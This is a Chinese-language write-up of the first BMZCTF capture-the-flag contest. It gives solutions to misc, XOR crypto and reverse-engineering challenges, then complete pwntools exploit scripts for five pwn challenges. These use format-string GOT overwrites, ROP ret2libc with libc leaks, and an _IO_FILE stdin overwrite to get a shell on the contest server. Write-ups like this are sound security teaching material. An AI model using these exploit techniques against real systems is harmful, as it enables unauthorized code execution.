第一届 BMZCTF Writeup

警告
本文最后更新于 2021-01-26,文中内容可能已过时。

misc

MISC_签到题

关注公众号即可获得flag

MISC_你猜猜flag

下载得到一个exe程序,分离得到一个zip压缩包。

拖入ida得到解压密码,解压后得到mdb文件,百度搜索到mdb爆破程序进行爆破,爆破后成功得到flag

Crypto

Xor

1
2
3
4
5
6
xored = ['\x00', '\x00', '\x00', '\x18', 'C', '_', '\x05', 'E', 'V', 'T', 'F', 'U', 'R', 'B', '_', 'U', 'G', '_', 'V', '\x17', 'V', 'S', '@', '\x03', '[', 'C', '\x02', '\x07', 'C', 'Q', 'S', 'M', '\x02', 'P', 'M', '_', 'S', '\x12', 'V', '\x07', 'B', 'V', 'Q', '\x15', 'S', 'T', '\x11', '_', '\x05', 'A', 'P', '\x02', '\x17', 'R', 'Q', 'L', '\x04', 'P', 'E', 'W', 'P', 'L', '\x04', '\x07', '\x15', 'T', 'V', 'L', '\x1b']
s1 = ""
s2 = ""
a_list = [chr(ord(a) ^ ord(b)) for a,b in zip(s1, s2)]
print(a_list)
print("".join(a_list))

据说是原题,我是用爆破的方法做的。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
import string
xored = ['\x00', '\x00', '\x00', '\x18', 'C', '_', '\x05', 'E', 'V', 'T', 'F', 'U', 'R', 'B', '_', 'U', 'G', '_', 'V', '\x17', 'V', 'S', '@', '\x03', '[', 'C', '\x02', '\x07', 'C', 'Q', 'S', 'M', '\x02', 'P', 'M', '_', 'S', '\x12', 'V', '\x07', 'B', 'V', 'Q', '\x15', 'S', 'T', '\x11', '_', '\x05', 'A', 'P', '\x02', '\x17', 'R', 'Q', 'L', '\x04', 'P', 'E', 'W', 'P', 'L', '\x04', '\x07', '\x15', 'T', 'V', 'L', '\x1b']
d = ['\x00', '\x00', '\x00', '\x18', 'C', '_', '\x05', 'E', 'V', 'T', 'F', 'U', 'R', 'B', '_', 'U', 'G', '_', 'V', '\x17', 'V', 'S', '@', '\x03', '[', 'C', '\x02', '\x07', 'C', 'Q', 'S', 'M', '\x02', 'P', 'M', '_', 'S', '\x12', 'V', '\x07', 'B', 'V', 'Q', '\x15', 'S', 'T', '\x11', '_', '\x05', 'A', 'P', '\x02', '\x17', 'R', 'Q', 'L', '\x04', 'P', 'E', 'W', 'P', 'L', '\x04', '\x07', '\x15', 'T', 'V', 'L', '\x1b']
for i in string.printable:
    for j in string.printable:
        for k in string.printable:
            s2 = i + j + k
            for l in range(len(xored)):
                d[l] = chr(ord(xored[l]) ^ ord(s2[l % 3]))
            s = "".join(d)
            if "ctf" in s:
                print(s)

Reverse

逆向_RE1

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4[30]; // [rsp+0h] [rbp-90h]
  unsigned int v5; // [rsp+78h] [rbp-18h]
  int m; // [rsp+7Ch] [rbp-14h]
  int l; // [rsp+80h] [rbp-10h]
  int k; // [rsp+84h] [rbp-Ch]
  int j; // [rsp+88h] [rbp-8h]
  int i; // [rsp+8Ch] [rbp-4h]
  puts("Hello,Reverser,Lets play a game (T_T)");
  for ( i = 0; i <= 27; ++i )
    v4[i] = getchar();
  getchar();
  for ( j = 0; j <= 27; ++j )
  {
    v4[j] ^= 0x1A2B3Cu;
    encrypt_jump(1715004LL);
  }
  v5 = 1714956;
  for ( k = 0; k <= 27; ++k )
  {
    v4[k] %= (int)v5;
    encrypt_jump(v5);
  }
  for ( l = 0; l <= 27; ++l )
  {
    v4[l] ^= 0x4D5E6Fu;
    encrypt_jump(5070447LL);
  }
  for ( m = 0; m <= 27; ++m )
  {
    if ( bytes_0318912x[m] != v4[m] )
    {
      puts("Sorry~");
      return 0;
    }
  }
  puts("Congratulations!");
  return 0;
}

encrypt_jump好像没用 因为有个mod,所以我就没用逆向了,我是正向爆破的。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <cstdio>
unsigned int a[28] = {
    0x004D5E21, 0x004D5E2B, 0x004D5E3E, 0x004D5E20, 0x004D5E54, 0x004D5E1D, 0x004D5E0A, 0x004D5E35,
    0x004D5E1C, 0x004D5E33, 0x004D5E01, 0x004D5E38, 0x004D5E0D, 0x004D5E22, 0x004D5E32, 0x004D5E22,
    0x004D5E37, 0x004D5E2C, 0x004D5E6C, 0x004D5E38, 0x004D5E6E, 0x004D5E2C, 0x004D5E38, 0x004D5E1C,
    0x004D5E28, 0x004D5E6F, 0x004D5E6E, 0x004D5E5A
};
int main()
{
    for (int i = 0; i <= 27; i++)
    {
        for (int j = 0; j < 127; j++)
        {
            int k = j ^ 0x1A2B3Cu;
            k %= 0x1A2B0C;
            k ^= 0x4D5E6Fu;
            if (k == a[i]) printf("%c", j);
        }
    }
    return 0;
}
//flag{BMZCTF_ReUeXs3_1s_Co01}

逆向_RE2

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 a1[15]; // [rsp+0h] [rbp-80h] BYREF
  int v5; // [rsp+78h] [rbp-8h]
  int i; // [rsp+7Ch] [rbp-4h]
  puts(&s);
  v5 = 0;
  for ( i = 0; i <= 26; ++i )
    *(a1 + i) = getchar();
  getchar();
  if ( Auth(a1) == 1 )
    puts("Congratulations!~");
  else
    puts("tryyyyy again");
  return 0;
}
__int64 __fastcall Auth(__int64 *a1)
{
  int v2[12]; // [rsp+8h] [rbp-C0h] BYREF
  int v3[12]; // [rsp+38h] [rbp-90h] BYREF
  int v4[12]; // [rsp+68h] [rbp-60h] BYREF
  __int64 v5; // [rsp+98h] [rbp-30h]
  _DWORD *v6; // [rsp+A0h] [rbp-28h]
  _DWORD *v7; // [rsp+A8h] [rbp-20h]
  int j; // [rsp+B0h] [rbp-18h]
  int v9; // [rsp+B4h] [rbp-14h]
  int v10; // [rsp+B8h] [rbp-10h]
  int i; // [rsp+BCh] [rbp-Ch]
  int v12; // [rsp+C0h] [rbp-8h]
  int v13; // [rsp+C4h] [rbp-4h]
  v13 = 0;
  v12 = 8;
  while ( v13 <= 8 )
    v4[v13++] = *(a1 + v12--) ^ 0xCE2;
  for ( i = 9; i <= 17; ++i )
    v3[i - 9] = *(a1 + i) ^ 0xFFF;
  v10 = 18;
  v9 = 26;
  while ( v10 <= 26 )
  {
    v2[v10 - 18] = *(a1 + v9) ^ 0x4EA;
    ++v10;
    --v9;
  }
  v7 = SboxExchangeA(&SboxA, v4);
  v6 = SboxExchangeB(SboxB, v3);
  v5 = SboxExchangeC(SboxC, v2);
  for ( j = 0; j <= 8; ++j )
  {
    if ( bytes_0x0001[j] != v7[j] )
      return 0LL;
    if ( bytes_0x0002[j] != v6[j] )
      return 0LL;
    if ( bytes_0x0003[j] != *(4LL * j + v5) )
      return 0LL;
  }
  return 1LL;
}
_DWORD *__fastcall SboxExchangeA(__int64 *a1, __int64 *a2)
{
  int i; // [rsp+1Ch] [rbp-4h]
  for ( i = 0; i <= 8; ++i )
    final_2323[i] = *(a2 + *(a1 + i));
  return final_2323;
}

前面是简单的几个异或和倒序一下,后面是用Sbox做了个位置变换。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#include <cstdio>
#include <cstring>
using namespace std;
unsigned int bytes_0x0001[16] = {
    0x00000C8E, 0x00000C85, 0x00000C87, 0x00000C99, 0x00000CA4, 0x00000CD1, 0x00000C83, 0x00000C8E,
    0x00000C84, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000
};
unsigned int bytes_0x0002[16] = {
    0x00000F9A, 0x00000F8B, 0x00000FA0, 0x00000FCF, 0x00000F8D, 0x00000FA0, 0x00000FB9, 0x00000F9E,
    0x00000FA0, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000
};
unsigned int bytes_0x0003[16] = {
    0x0000048F, 0x00000499, 0x0000048F, 0x00000497, 0x000004DD, 0x000004B5, 0x0000049C, 0x00000482,
    0x000004B8, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000
};
unsigned int SboxA[16] = {
    0x00000007, 0x00000005, 0x00000002, 0x00000004, 0x00000003, 0x00000001, 0x00000006, 0x00000000,
    0x00000008, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000
};
unsigned int SboxB[16] = {
    0x00000002, 0x00000006, 0x00000000, 0x00000007, 0x00000004, 0x00000005, 0x00000001, 0x00000003,
    0x00000008, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000
};
unsigned int SboxC[9] = {
    0x00000003, 0x00000001, 0x00000006, 0x00000000, 0x00000008, 0x00000005, 0x00000002, 0x00000007,
    0x00000004
};
void decode(unsigned int* endata, unsigned int* box, unsigned int* data)
{
    for (int i = 0; i <= 8; i++)
    {
        data[box[i]] = endata[i];
    }
}
int main()
{
    unsigned int d1[16], d2[16], d3[16];
    decode(bytes_0x0001, SboxA, d1);
    decode(bytes_0x0002, SboxB, d2);
    decode(bytes_0x0003, SboxC, d3);
    for (int i = 0; i <= 8; i++)
    {
        d1[i] ^= 0xCE2;
        d2[i] ^= 0xFFF;
        d3[i] ^= 0x4EA;
    }
    for (int i = 8; i >= 0; i--) printf("%c", d1[i]);
    for (int i = 0; i <= 8; i++) printf("%c", d2[i]);
    for (int i = 8; i >= 0; i--) printf("%c", d3[i]);
    return 0;
}
//flag{Fe3l_Fear_t0_7he_Revs}

本来都做出来了,一直交不上,后来看到有两个人一起交了,我就很纳闷去交了一下,结果就交上了。

逆向_RE3

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
#include <cstdio>
unsigned char unenc[] = { 4, 5, 30, 27, 9, 55, 56, 53, 43, 15, 70, 90, 85, 14, 25, 9, 78, 54, 83, 0x60, 25, 23, 19, 0x73, 25, 49, 77, 75, 29, 28, 4, 0x7A, 0x60, 110, 56, 16 };
int main()
{
    char key[] = "bmz";
    for (int b = 0; b <= 34; ++b) {
        unenc[b + 1] ^= unenc[b];
    }
    for (int b = 0; b <= 34; ++b) {
        unenc[b + 1] ^= unenc[b];
    }
    for (int b = 0; b <= 34; ++b) {
        unenc[b + 1] ^= unenc[b];
    }
    for (int i = 0; i < 36; i++)
    {
        printf("%c", unenc[i] ^ key[i % 3]);
    }
    return 0;
}
//flag{Every0ne-0f-BMZCTF-1s-3he-Best}

用JEB看一下的话还是比较容易的,直接拿出来改一下就能用。 这道题会不会有点太简单了?

pwn

pwn1

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
from pwn import *
from LibcSearcher import *
r = remote('47.242.59.61', 10000)
#r = process('./pwn1')
elf = ELF('./pwn1')
context.log_level = "debug"
context.arch = 'i386'
r.sendline(fmtstr_payload(10, {elf.got['printf']: elf.plt['system']}))
r.sendline("/bin/sh\x00")
r.interactive()

pwn2

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
from pwn import *
from LibcSearcher import *
r = remote('47.242.59.61', 10001)
#r = process('./pwn2')
elf = ELF('./pwn2')
pop_rdi_addr = 0x0000000000400833
main_addr = 0x40076D
payload =  'a' * 0x30 + 'b' * 0x8 + p64(pop_rdi_addr) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(main_addr)
r.sendlineafter("Who are you?", payload)
puts_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump("str_bin_sh")
payload =  'a' * 0x30 + 'b' * 0x8 + p64(pop_rdi_addr) + p64(bin_sh_addr) + p64(system_addr) + p64(main_addr)
r.sendlineafter("Who are you?", payload)
r.interactive()

pwn3

这道题值得说一下,我刚开始的时候连漏洞点都没找到,以为是什么新知识。

后来发现有很快就有二血了,就想了一下会不会是我有些地方没看出来。

就调试了一下,发现每执行一次,栈都会往下偏移1个字节,利用这个就可以进行栈溢出啦。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
from LibcSearcher import *
#r = process('./pwn3')
r = remote('47.242.59.61', 10002)
elf = ELF('./pwn3')
context.log_level = "debug"
def smsg(send = "N", data = 'a'):
    r.sendlineafter("->", data)
    r.sendlineafter("Send?(Y/N)", send)
def overflow(payload):
    r.sendlineafter(">", "smsg")
    for i in range(0x57):
        smsg()
    smsg("Y", payload)
pop_rdi_addr = 0x40155b
main_addr = 0x4013FA
#gdb.attach(r)
overflow(p64(pop_rdi_addr) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(main_addr))
puts_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump("str_bin_sh")
overflow(p64(pop_rdi_addr) + p64(bin_sh_addr) + p64(system_addr) + p64(main_addr))
r.interactive()

pwn4

只有单次的格式化字符串漏洞,而且是Partial RELRO

观察发现可以溢出到canary,所以想到利用**__stack_chk_fail**来多次利用。

我这里修改了got表中的**__stack_chk_fail**,然后触发溢出,让他再回到main函数,这样可以多次利用printf来执行修改。

但是由于字节限制,所以每次只能写出两个字节,我刚开始的时候想用one_gadget,然后观察了一下各个会调用的函数,发现有个函数可以只修改两个字节来执行第三个one_gadget,然后本地打通了,但是靶机报错。

图片

群里问了一下没人理我。

那么就只能想办法执行system了,正好结合了前段时间学到的IO_FILE的知识,发现程序退出的时候会执行**_IO_flush_all_lockp**,那我们可以利用这个函数来操作一下(这里不懂的可以看一下我之前写的那几篇里面有详细的介绍)

我这里找了stdin来getshell。

用于只能写入两字节,所以过程就繁琐了一些。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
from LibcSearcher import *
#r = process('./pwn4')
r = remote('47.242.59.61', 10003)
elf = ELF('./pwn4')
context.log_level = "debug"
context.arch = "amd64"
def format(data = 'ls\x00'):
    r.sendafter("msg: ", data.ljust(0x20, '\x00'))

r.sendlineafter("input your name: ", "a")
format(fmtstr_payload(6, {elf.got['__stack_chk_fail'] : p16(0x08C5)}, write_size = "short"))
#leak
format("%23$lld")
libc_start_main_addr = int(r.recvuntil('leave', drop=True)) - 240
log.success("libc_start_main_addr: " + hex(libc_start_main_addr))
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libc_base = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump("str_bin_sh")
log.success('system_addr: ' + hex(system_addr))
stdin_addr = libc_base + libc.dump('_IO_2_1_stdin_')
log.success('stdin_addr: ' + hex(stdin_addr))
#IO_FILE_ATTACK
format(fmtstr_payload(6, {stdin_addr + 0x28 : p8(0xFF)}))
format(fmtstr_payload(6, {stdin_addr : 'sh'}, write_size = "short"))
format(fmtstr_payload(6, {stdin_addr + 0x2 : '\x00'}, write_size = "short"))
format(fmtstr_payload(6, {stdin_addr + 0x18 : p16(system_addr % 0x10000)}, write_size = "short"))
system_addr /= 0x10000
format(fmtstr_payload(6, {stdin_addr + 0x18 + 0x2 : p16(system_addr % 0x10000)}, write_size = "short"))
system_addr /= 0x10000
format(fmtstr_payload(6, {stdin_addr + 0x18 + 0x4 : p16(system_addr % 0x10000)}, write_size = "short"))
format(fmtstr_payload(6, {stdin_addr + 0xd8 : p16(stdin_addr % 0x10000)}, write_size = "short"))
format(fmtstr_payload(6, {stdin_addr + 0xd8 + 0x2 : p16((stdin_addr / 0x10000) % 0x10000)}, write_size = "short"))
r.sendline("a")
r.interactive()

pwn5

感觉格式化字符串是不是出的有点多了?

这道题我稍微看了一下,和pwn4有些类似,区别就是这里要用%n复写flag字段,达成多次利用printf的目的,不过我这个肯定不是预期,我看他还有个leak函数,我这个却直接getshell了。

不过打比赛嘛..怎么方便怎么来,我直接用pwn4的改了一下。

呜呜,这里还收到了出题者的一个红包,[谢谢师傅!.jpg],感觉自己不是预期有点不好意思了都。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
from LibcSearcher import *
#r = process('./pwn5')
r = remote('47.242.59.61', 10004)
elf = ELF('./pwn5')
context.log_level = "debug"
context.arch = "amd64"
def fmt(data):
    r.sendlineafter(">>", "2")
    r.send("%7$naaaa" + data)
#leak
r.sendlineafter("time:", "a")
fmt("%23$p")
r.recvuntil('0x')
libc_start_main_addr = int("0x" + r.recvuntil('1.', drop=True), 16) - 240
libc = LibcSearcher("__libc_start_main", libc_start_main_addr)
libc_base = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump("str_bin_sh")
log.success('system_addr: ' + hex(system_addr))
stdin_addr = libc_base + libc.dump('_IO_2_1_stdin_')
log.success('stdin_addr: ' + hex(stdin_addr))
#IO_FILE_ATTACK
fmt(fmtstr_payload(9, {stdin_addr + 0x28 : p8(0xFF)}, 4))
fmt(fmtstr_payload(9, {stdin_addr : 'sh'}, 4, write_size = "short"))
fmt(fmtstr_payload(9, {stdin_addr + 0x2 : '\x00'}, 4, write_size = "short"))
fmt(fmtstr_payload(9, {stdin_addr + 0x18 : p16(system_addr % 0x10000)}, 4, write_size = "short"))
system_addr /= 0x10000
fmt(fmtstr_payload(9, {stdin_addr + 0x18 + 0x2 : p16(system_addr % 0x10000)}, 4, write_size = "short"))
system_addr /= 0x10000
fmt(fmtstr_payload(9, {stdin_addr + 0x18 + 0x4 : p16(system_addr % 0x10000)}, 4, write_size = "short"))
fmt(fmtstr_payload(9, {stdin_addr + 0xd8 : p16(stdin_addr % 0x10000)}, 4, write_size = "short"))
fmt(fmtstr_payload(9, {stdin_addr + 0xd8 + 0x2 : p16((stdin_addr / 0x10000) % 0x10000)}, 4, write_size = "short"))
#gdb.attach(r, "b printf")
r.interactive()

总结

感觉比赛的难度还可以再提升一些,但毕竟是第一次举办嘛…

也可能是面相新人的(就像我这种QAQ),所以才会出的比较容易。

希望第二届的时候难度可以提升一些,pwn的考察范围可以更广一些(heap!heap!heap!),还有就是群里管理员最好能理我一下嘛…我一个人好尬的。

对了,希望下次可以有个rank榜单,要不然连自己第几名都不知道呢。。

不过幸亏我会python,写了个简单的程序看排名,

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
import json
headers = {
    "Cookie": "session="
}
showTag = "BMZCTF网络安全公开赛"
questlist = []
scorelist = {}
url = "http://bmzclub.cn/api/v1/challenges"
data = requests.get(url, headers=headers).text
all_data = json.loads(data)
for i in all_data['data']:
    if i['category'] == showTag:
        questlist.append(i)
for i in questlist:
    id = i['id']
    url = "http://bmzclub.cn/api/v1/challenges/{0}/solves".format(id)
    data = requests.get(url, headers=headers).text
    solve_json = json.loads(data)
    for j in solve_json['data']:
        scorelist[j['name']] = scorelist.setdefault(j['name'], 0) + i['value']
scorelist = sorted(scorelist.items(), key=lambda kv: (-kv[1], kv[0]))
print("Rank:")
for i in scorelist:
    print('{0}|{1}'.format(i[0], i[1]))

根据这里面算出来的来看,我最后好像是第三?

0%